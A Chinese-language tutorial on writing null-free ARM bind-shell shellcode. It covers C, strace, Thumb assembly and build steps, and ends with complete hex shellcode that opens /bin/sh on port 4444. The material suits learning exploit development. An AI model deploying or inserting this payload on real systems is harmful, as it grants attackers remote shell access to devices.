用ARM编写TCP Bind Shell
字数 709 2025-08-05 19:10:02
ARM架构TCP Bind Shell编写教程
1. 概述
本教程详细讲解如何在ARM架构下编写无空字节的TCP绑定(bind) shellcode。通过学习,你将掌握:
- ARM架构下TCP绑定shell的实现原理
- 系统调用的使用方式
- 避免空字节的技术
- 从C代码到ARM汇编的转换过程
2. 绑定Shell工作原理
绑定Shell的工作流程:
- 创建新的TCP套接字
- 将套接字绑定到本地端口
- 监听传入的连接
- 接收传入的连接
- 将STDIN、STDOUT和STDERR重定向到客户端套接字
- 生成shell
对应的C代码实现:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int host_sockid; // socket文件描述符
int client_sockid; // 客户端文件描述符
struct sockaddr_in hostaddr; // 服务器监听地址
int main() {
// 创建新的TCP套接字
host_sockid = socket(PF_INET, SOCK_STREAM, 0);
// 初始化sockaddr结构体用于绑定套接字
hostaddr.sin_family = AF_INET; // 地址族
hostaddr.sin_port = htons(4444); // 端口号(网络字节序)
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 监听任意地址
// 绑定套接字到IP/端口
bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
// 监听传入连接
listen(host_sockid, 2);
// 接受传入连接
client_sockid = accept(host_sockid, NULL, NULL);
// 复制文件描述符
dup2(client_sockid, 0);
dup2(client_sockid, 1);
dup2(client_sockid, 2);
// 执行/bin/sh
execve("/bin/sh", NULL, NULL);
close(host_sockid);
return 0;
}
3. 系统调用及参数
3.1 所需系统调用号
#define __NR_socket (__NR_SYSCALL_BASE+281)
#define __NR_bind (__NR_SYSCALL_BASE+282)
#define __NR_listen (__NR_SYSCALL_BASE+284)
#define __NR_accept (__NR_SYSCALL_BASE+285)
#define __NR_dup2 (__NR_SYSCALL_BASE+63)
#define __NR_execve (__NR_SYSCALL_BASE+11)
3.2 参数值确定
使用strace跟踪系统调用:
strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
输出示例:
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 2) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0
4. ARM汇编实现
4.1 切换到Thumb模式
.section .text
.global _start
_start:
.ARM
add r3, pc, #1 // 将PC值加1存入r3
bx r3 // 分支交换到Thumb模式
4.2 创建套接字
.THUMB
// socket(2, 1, 0)
mov r0, #2 // PF_INET = 2
mov r1, #1 // SOCK_STREAM = 1
sub r2, r2, r2 // IPPROTO_IP = 0
mov r7, #200 // 系统调用号基值
add r7, #81 // r7 = 281 (socket)
svc #1 // 执行系统调用
mov r4, r0 // 保存host_sockid到r4
4.3 绑定套接字
// bind(r0, &sockaddr, 16)
adr r1, struct_addr // 获取结构体地址
strb r2, [r1, #1] // 写入0到AF_INET的第二个字节
strb r2, [r1, #4] // 替换IP地址中的1为0
strb r2, [r1, #5] // 替换IP地址中的1为0
strb r2, [r1, #6] // 替换IP地址中的1为0
strb r2, [r1, #7] // 替换IP地址中的1为0
mov r2, #16 // 结构体长度
add r7, #1 // r7 = 282 (bind)
svc #1 // 执行系统调用
nop
4.4 监听连接
// listen(sockfd, 0)
mov r0, r4 // 恢复host_sockid
mov r1, #2 // 最大连接数
add r7, #2 // r7 = 284 (listen)
svc #1 // 执行系统调用
4.5 接受连接
// accept(sockfd, NULL, NULL)
mov r0, r4 // 恢复host_sockid
sub r1, r1, r1 // 清空r1
sub r2, r2, r2 // 清空r2
add r7, #1 // r7 = 285 (accept)
svc #1 // 执行系统调用
mov r4, r0 // 保存client_sockid到r4
4.6 重定向标准I/O
// dup2(client_sockid, 0)
mov r7, #63 // r7 = 63 (dup2)
mov r0, r4 // client_sockid
sub r1, r1, r1 // stdin = 0
svc #1
// dup2(client_sockid, 1)
mov r0, r4 // client_sockid
add r1, #1 // stdout = 1
svc #1
// dup2(client_sockid, 2)
mov r0, r4 // client_sockid
add r1, #1 // stderr = 2
svc #1
4.7 执行shell
// execve("/bin/sh", 0, 0)
adr r0, shellcode // "/bin/sh"字符串地址
eor r1, r1, r1 // 清空r1
eor r2, r2, r2 // 清空r2
strb r2, [r0, #7] // 写入字符串终止符
mov r7, #11 // r7 = 11 (execve)
svc #1
nop
4.8 数据定义
struct_addr:
.ascii "\x02\xff" // AF_INET (0xff将被替换为0)
.ascii "\x11\x5c" // 端口号4444
.byte 1,1,1,1 // IP地址(将被替换为0.0.0.0)
shellcode:
.ascii "/bin/shX" // shell路径(X将被替换为0)
5. 编译与测试
5.1 编译
as bind_shell.s -o bind_shell.o
ld -N bind_shell.o -o bind_shell
5.2 测试
运行绑定shell:
./bind_shell
连接测试:
netcat -vv 0.0.0.0 4444
5.3 生成shellcode
objcopy -O binary bind_shell bind_shell.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' bind_shell.bin
生成的shellcode示例:
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x12\xa1\x4a\x70\x0a\x71\x4a\x71\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\xc0\x46\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x1a\x92\x1a\x01\x37\x01\xdf\x04\x1c\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x05\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58
6. 关键点总结
- Thumb模式:使用16位指令减少空字节出现概率
- 动态修改:使用strb指令在运行时修改代码,避免静态空字节
- 系统调用:正确设置系统调用号和参数
- 寄存器管理:合理保存和恢复寄存器值
- 立即数处理:ARM架构下立即数需要特殊处理,可能需要分步加载
通过本教程,你不仅学会了编写ARM绑定shellcode,还掌握了将高级语言功能转换为汇编代码的系统方法。这些知识同样适用于编写反向shell或其他类型的shellcode。